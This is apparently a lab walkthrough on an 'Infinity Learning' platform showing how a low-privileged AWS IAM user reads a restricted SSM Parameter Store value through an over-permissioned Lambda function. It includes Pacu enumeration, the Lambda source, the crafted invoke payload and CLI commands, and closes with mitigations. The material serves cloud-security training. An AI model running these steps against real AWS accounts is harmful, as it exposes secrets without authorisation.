Skip to content

Abusing SSM Parameter Access Walkthrough

Lab Name: Abusing SSM Parameter Access
Platform: Infinity Learning

We start with a low-privileged IAM user that cannot read SSM Parameter Store values directly. The user can download and invoke a Lambda function that has the required access. By reading its code, we find a way to make the function return the restricted data without assuming another role or gaining write permissions.

AWS-SSm-01


We configure the AWS CLI with credentials for a low-privileged IAM user:

Terminal window
aws configure --profile ssm
Output
AWS Access Key ID: [REDACTED_ACCESS_KEY]
AWS Secret Access Key: [REDACTED_SECRET_KEY]
Region: us-east-1
Output format: json

Identity confirmation:

Terminal window
aws sts get-caller-identity --profile ssm

Output:

Output
{
"UserId": "[REDACTED_USER]",
"Account": "[REDACTED_ACCOUNT]",
"Arn": "arn:aws:iam::[REDACTED_ACCOUNT]:user/DevLead"
}

We are authenticated as an IAM user with limited privileges.

We use Pacu to enumerate the user’s permissions:

Terminal window
run iam__enum_permissions
Output
Running module iam__enum_permissions...
[iam__enum_permissions] Confirming permissions for users:
[iam__enum_permissions] DevLead...
[iam__enum_permissions] List groups for user failed
[iam__enum_permissions] FAILURE: MISSING REQUIRED AWS PERMISSIONS
[iam__enum_permissions] List attached user policies failed
[iam__enum_permissions] FAILURE: MISSING REQUIRED AWS PERMISSIONS
[iam__enum_permissions] Confirmed Permissions for DevLead
[iam__enum_permissions] iam__enum_permissions completed.
[iam__enum_permissions] MODULE SUMMARY:
0 Confirmed permissions for 0 user(s).
0 Confirmed permissions for 0 role(s).
7 Unconfirmed permissions for user: DevLead.
0 Unconfirmed permissions for 0 role(s).
Type 'whoami' to see detailed list of permissions.
Terminal window
whoami
Output
{
"UserName": "DevLead",
"RoleName": null,
"Arn": "arn:aws:iam::058264439561:user/DevLead",
"AccountId": "058264439561",
"UserId": "AIDAQ3EGUZME2QMJXOD6H",
"Roles": null,
"Groups": [],
"Policies": [
{
"PolicyName": "key-mgmt-function-access-policy"
},
{
"PolicyName": "parameter-access-policy"
},
{
"PolicyName": "user-policy"
}
],
"AccessKeyId": "[REDACTED_AWS_ACCESS_KEY_ID]",
"SecretAccessKey": "o+cl/ug03zjnzTJDCCOO********************",
"SessionToken": null,
"KeyAlias": "imported-ssm",
"PermissionsConfirmed": false,
"Permissions": {
"Allow": {
"lambda:invokefunction": {
"Resources": [
"arn:aws:lambda:us-east-1:058264439561:function:key-mgmt-function"
]
},
"lambda:getfunctioncodesigningconfig": {
"Resources": [
"arn:aws:lambda:us-east-1:058264439561:function:key-mgmt-function"
]
},
"lambda:getfunctionconfiguration": {
"Resources": [
"arn:aws:lambda:us-east-1:058264439561:function:key-mgmt-function"
]
},
"lambda:getfunction": {
"Resources": [
"arn:aws:lambda:us-east-1:058264439561:function:key-mgmt-function"
]
},
"ssm:describeparameters": {
"Resources": [
"*"
]
},
"iam:listuserpolicies": {
"Resources": [
"arn:aws:iam::058264439561:user/DevLead"
]
},
"iam:getuserpolicy": {
"Resources": [
"arn:aws:iam::058264439561:user/DevLead"
]
}
},
"Deny": {}
}
}

The relevant confirmed permissions included:

  • lambda:InvokeFunction
  • lambda:GetFunctionCodeSigningConfig
  • lambda:GetFunctionConfiguration
  • lambda:GetFunction
  • ssm:DescribeParameters

The user has no direct ssm:GetParameter permission, so we cannot retrieve the secrets directly.

Since lambda:GetFunction was allowed, we queried Lambda to inspect available functions:

Terminal window
aws lambda get-function --function-name key-mgmt-function --profile ssm
Output
{
"Configuration": {
"FunctionName": "key-mgmt-function",
"FunctionArn": "arn:aws:lambda:us-east-1:058264439561:function:key-mgmt-function",
"Runtime": "python3.9",
"Role": "arn:aws:iam::058264439561:role/lambda-ssm-role",
"Handler": "lambda_function.lambda_handler",
"CodeSize": 519,
"Description": "",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2025-06-12T10:44:37.000+0000",
"CodeSha256": "XD4OqXS9fTii8lHndrJQEualHE+9c8XZkT+Z13PCrdU=",
"Version": "$LATEST",
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "f08db0e4-1063-4098-a08b-2d5203888900",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
},
"SnapStart": {
"ApplyOn": "None",
"OptimizationStatus": "Off"
},
"RuntimeVersionConfig": {
"RuntimeVersionArn": "arn:aws:lambda:us-east-1::runtime:135242d7c34858d81f7e9d62d65e5164b1d6afc6d6d3a1289380dbb6d2cb48dd"
},
"LoggingConfig": {
"LogFormat": "Text",
"LogGroup": "/aws/lambda/key-mgmt-function"
}
},
"Code": {
"RepositoryType": "S3",
"Location": "[REDACTED_PRESIGNED_S3_URL]"
},
"Tags": {
"Infinity": "AWS-SSM-01"
}
}

The response shows that key-mgmt-function runs under a role with its own permissions. We download the function’s zip file through the S3 link and extract it locally.

Inside the package was the following Lambda code:

Output
import json
import boto3
def lambda_handler(event, context):
if event.get("action") == "invoke":
parameter_name = event.get("parameter_name")
if not parameter_name:
return {"statusCode": 400, "body": "Missing 'parameter_name' in request"}
ssm = boto3.client('ssm')
try:
response = ssm.get_parameter(
Name=parameter_name,
WithDecryption=False
)
return {"statusCode": 200, "value": response["Parameter"]["Value"]}
except ssm.exceptions.ParameterNotFound:
return {"statusCode": 404, "body": f"Parameter '{parameter_name}' not found"}
except Exception as e:
return {"statusCode": 500, "body": str(e)}
return {"statusCode": 400, "body": "Invalid action"}

The Lambda function returns the full parameter value to the caller.


2. Pivoting - Leveraging Lambda to Reach SSM

Section titled “2. Pivoting - Leveraging Lambda to Reach SSM”

Although direct parameter retrieval is blocked, we can list parameters:

Terminal window
aws ssm describe-parameters --region us-east-1 --profile ssm
Output
{
"Parameters": [
{
"Name": "/challenge/flag",
"ARN": "arn:aws:ssm:us-east-1:058264439561:parameter/challenge/flag",
"Type": "String",
"LastModifiedDate": "2025-06-12T14:49:37.134000+05:30",
"LastModifiedUser": "arn:aws:sts::058264439561:assumed-role/AWSReservedSSO_AdministratorAccess_b0f3af5c9fa24e58/redops@secure-corp.org",
"Version": 1,
"Tier": "Standard",
"Policies": [],
"DataType": "text"
}
]
}

We discover a parameter:

/challenge/flag

But direct retrieval fails as expected:

Terminal window
aws ssm get-parameter --name "/challenge/flag" --profile ssm
Output
AccessDeniedException - not authorized to perform ssm:GetParameter

We construct an event payload that tells Lambda to execute ssm.get_parameter on our behalf.

{
"action": "invoke",
"parameter_name": "/challenge/flag"
}

We invoke the Lambda function and capture its output:

Terminal window
aws lambda invoke \
--function-name key-mgmt-function \
--payload file://input.json \
--cli-binary-format raw-in-base64-out \
out.json \
--region us-east-1 \
--profile ssm

Viewing the output:

Terminal window
cat out.json

The function returned a Base64-encoded value:

Output
{"statusCode": 200, "value": "[FLAG_REDACTED_BASE64]"}

Decoding:

Terminal window
echo "[FLAG_REDACTED_BASE64]" | base64 -d | strings

Final secret:

Output
[FLAG_REDACTED]

We retrieved the restricted SSM parameter without ssm:GetParameter permissions.


We retrieved sensitive SSM data through Lambda because we could:

  • Download the function’s code
  • Invoke the function
  • Use its over-permissioned SSM access
  • Get secrets back in its response

Our IAM identity did not change. The function performed the privileged read with its execution role and returned the result to a caller who could not read the parameter directly.


Review the execution role’s parameter paths as well as the caller’s policies. AWS warns that recursive GetParametersByPath access to a parent can expose descendants, and GetParameterHistory can reveal the current value too. Scope the relevant read operations and KMS permissions together. See AWS’s parameter-access guidance.

  • Do not return secret values from Lambda responses.
  • Restrict lambda:InvokeFunction to only trusted identities.
  • Grant only the permissions needed for each resource.
  • Review and minimize execution-role permissions for all Lambda functions.
  • Restrict parameter access with IAM policies and appropriate conditions. Parameter Store parameter policies do not replace IAM access control.
  • Enable CloudTrail alerting for suspicious Lambda invocations.